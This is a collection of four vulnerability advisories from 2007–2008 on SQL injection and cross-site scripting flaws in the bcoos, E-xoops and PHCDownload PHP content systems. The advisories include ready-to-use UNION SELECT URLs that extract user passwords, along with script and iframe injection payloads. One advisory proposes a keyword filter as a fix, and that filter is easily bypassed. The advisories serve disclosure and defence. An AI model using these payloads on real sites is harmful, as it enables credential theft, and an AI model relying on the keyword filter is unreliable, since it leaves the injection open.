bcoos /mysections/ratefile.php lid variable SQL injection

############################################
bcoos /mysections/ratefile.php lid variable SQL injection
vendor url: http://www.bcoops.net
Advisore: http://lostmon.blogspot.com/2008/02/
bcoos-mysectionsratefilephp-lid.html
vendor notify:NO exploits available: YES
############################################

bcoos is content-community management system written in PHP-MySQL.

bcoops contains a flaw that may allow an attacker to carry out
an SQL injection attack. The issue is due to the script not
properly sanitizing user-supplied input to the 'lid' variable,
and adresses/ratefile.php script.This may allow an attacker to
inject or manipulate SQL queries in the backend database.



#################
Versions:
#################

bcoops =< 1.0.11 vulnerable

#################
Solution:
#################

No solution at this time !!!
Also you can try to edit the source code and
put this code to mitigate 'union' injection:

open modules/mysections/ratefile.php

arround line 76 found this code:

exit();
} else {

you can change for:

exit();
}
if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) || eregi("\*union\*", $lid) || eregi("\+union\+", $lid) || eregi("\*", $lid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
else {

And now this union sql attack is patched :D

#################
Timeline:
#################

Discovered:31-01-2008
vendor notify:--------
vendor response:-------
disclosure:07-02-2008


#################
SQL intection:
#################


http://localhost/modules/mysections/ratefile.php?lid=
-99%20UNION%20SELECT%20pass%20FROM%20bcoops_users%20LIMIT%201



#######################€nd##############################



Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

bcoos & E-xoops DevTracker module two variables XSS

############################################
bcoos& E-xoops DevTracker module two variables XSS
vendor url: http://www.bcoos.net
Vendor url: http://www.e-xoops.com
Advisore: http://lostmon.blogspot.com/2008/02/
bcoos-and-e-xoops-devtracker-module-two.html
vendor notify:yes exploits available: YES
############################################



bcoos and E-xoops are two content-community management
system written in PHP-MySQL.

bcoos and E-xoops contains a flaw that allows a remote
cross site scripting attack.This flaw exists because the
application does not validate 'order_by' & 'direction'
variables upon submission to 'index.php' script in
DevTracker module.This could allow a user to create a
specially crafted URL that would execute arbitrary code
in a user's browser within the trust relationship
between the browser and the server,leading loss ofintegrity



#################
Versions:
#################

bcoos =< 1.1.11 DevTracker (¿ 3.0 ?)
E-xoops =< 1.0.8 DevTracker v0.20

And posible early versions with this module instaled.

Here you have a src reference for
E-xoops 1.0.8 http://phpxref.com/xref/exoops/nav.html


#################
Solution:
#################

No solution available at this time
Try to edit the source code.


#################
Timeline:
#################

Discovered:01-02-2008
vendor notify:03-02-2008
vendor response:-------
disclosure:04-02-2007

#############
Examples
#############

http://[victim]/modules/devtracker/index.php?proj_id=1&order_by=
priority&direction=ASCquot;><script>alert()</script>

http://[Victim]/modules/devtracker/index.php?proj_id=1
&order_by=priorityquot;><script>alert()</script>
&direction=ASC


#######################€nd###################



Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com

Atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

XSS Flaw & posible SQL injection in search.php in PHCDownload

###############################################
XSS Flaw & posible SQL injection in PHCDownload
vendor url: http://www.phpcredo.com/
Advisore: http://lostmon.blogspot.com/2007/12/
xss-flaw-posible-sql-injection-in.html
vendor notify:YES exploit available: YES
###############################################

New XSS Flaw & posible SQL injection in search.php

PHCDownload contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application does
not validate 'string' variable upon submission to 'search.php'
script.

This could allow a user to create a specially crafted URL that
would execute arbitrary code in a user's browser within the
trust relationship between the browser and the server,
leading to a loss of integrity.

verions:

1.1.0 afected.

example :

we can try inject some normal html or javascript code:

Code:

"><h1><a href="http://lostmon.blogspot.com">Lostmon</a> Was Here !!!</h1><br><h1>XSS Pow@ !!!</h1><p><iframe src="http://lostmon.blogspot.com"></iframe></p>

or inject directly the code in hex values :

Code:

%22%3E%3C%68%31%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%6E%3C%2F%61%3E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%62%72%3E%3C%68%31%3E%58%53%53%20%50%6F%77%40%20%21%21%21%3C%2F%68%31%3E%3C%70%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%70%3E
example in hex:

http://localhost/phcdownload/search.php?string=[XSS-CODE]

also this variable is prone vulnerable too to SQL injections.

if we look the source code of search.php arround line 36 we have :

Code:
// Prepare search query
if( $kernel->config['archive_search_mode'] == 1 )
{
$search_syntax = "MATCH( f.file_name, f.file_description, f.file_version, f.file_author ) AGAINST ( '*{$kernel->vars['string']}*' IN BOOLEAN MODE )";
}
else
{
$search_syntax = "MATCH( f.file_name, f.file_description, f.file_version, f.file_author ) AGAINST ( '*{$kernel->vars['string']}*' )";
}
the value of 'string' is inserted directly in the sql query and this could be dangerous...

we can try to disclose the query :

http://localhost/phcdownload/upload/search.php?string='

i make several probes , but i don´t have found a working exploit or a
exploitable angle to this issue , but ...need to be patch

Thnx to estrella to be my ligth
Thnx to all Lostmon´s Group Team

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)

--
La curiosidad es lo que hace mover la mente....

E-xoops multiple variable/scripts SQL injection

############################################
E-xoops multiple variable/scripts SQL injection
vendor url: http://www.e-xoops.com
Advisore: http://lostmon.blogspot.com/2007/12/
e-xoops-multiple-variablescripts-sql.html
vendor notify:NO exploits available: YES
############################################



E-xoops is content-community management system written in PHP-MySQL.

E-xoops contains a flaw that may allow an attacker to carry out
an SQL injection attack. The issue is due to the script not
properly sanitizing user-supplied input to the 'lid','bid' and
'gid' variable, multiple script.This may allow an attacker to
inject or manipulate SQL queries in the backend database.



#################
Versions:
#################

E-Xoops 1.08
E-Xoops 1.05 Rev3
E-Xoops 1.05 Rev2
E-Xoops 1.05 Rev1

and posible early versions.

#################
Solution:
#################

no solution available at this time
Try to edit the source code.
you can look this post in my group
to patch E-xoops ,because the source
code is veeeery similar to bcoos cms

http://groups.google.com/group/lostmon/
browse_thread/thread/59f3b836fad5b009

and here you have a src reference for
E-xoops 1.0.8 http://phpxref.com/xref/exoops/nav.html

#################
Timeline:
#################

Discovered:25-11-2007
vendor notify:--------
vendor response:-------
disclosure:09-12-2007


#################
SQL intections:
#################


http://localhost/e-xoops/modules/mylinks/
ratelink.php?lid=-1%20UNION%20SELECT%20pass
%20FROM%20e_xoops_users%20LIMIT%201

http://localhost/e-xoops/modules/adresses/
ratefile.php?lid=-1%20UNION%20SELECT%20pass
%20FROM%20e_xoops_users%20LIMIT%201

http://localhost/e-xoops/modules/mydownloads/
ratefile.php?lid=-1%20UNION%20SELECT%20pass
%20FROM%20e_xoops_users%20LIMIT%201

http://localhost/e-xoops/modules/mysections/
ratefile.php?lid=-1%20UNION%20SELECT%20pass
%20FROM%20e_xoops_users%20LIMIT%201

http://localhost/e-xoops/modules/myalbum/
ratephoto.php?lid=-1%20UNION%20SELECT%20pass
%20FROM%20e_xoops_users%20LIMIT%201

http://localhost/e-xoops/modules/banners/
click.php?op=click&bid=-1%20UNION%20SELECT
%20pass%20FROM%20e_xoops_users%20LIMIT%201

http://localhost/e-xoops/modules/arcade/
index.php?act=show_stats&gid=-1%20UNION%
20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201

http://localhost/e-xoops/modules/arcade/index.php?
act=play_game&gid=-1%20UNION%20SELECT%20pass%20FROM
%20e_xoops_users%20LIMIT%201


#################### €nd ########################



Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....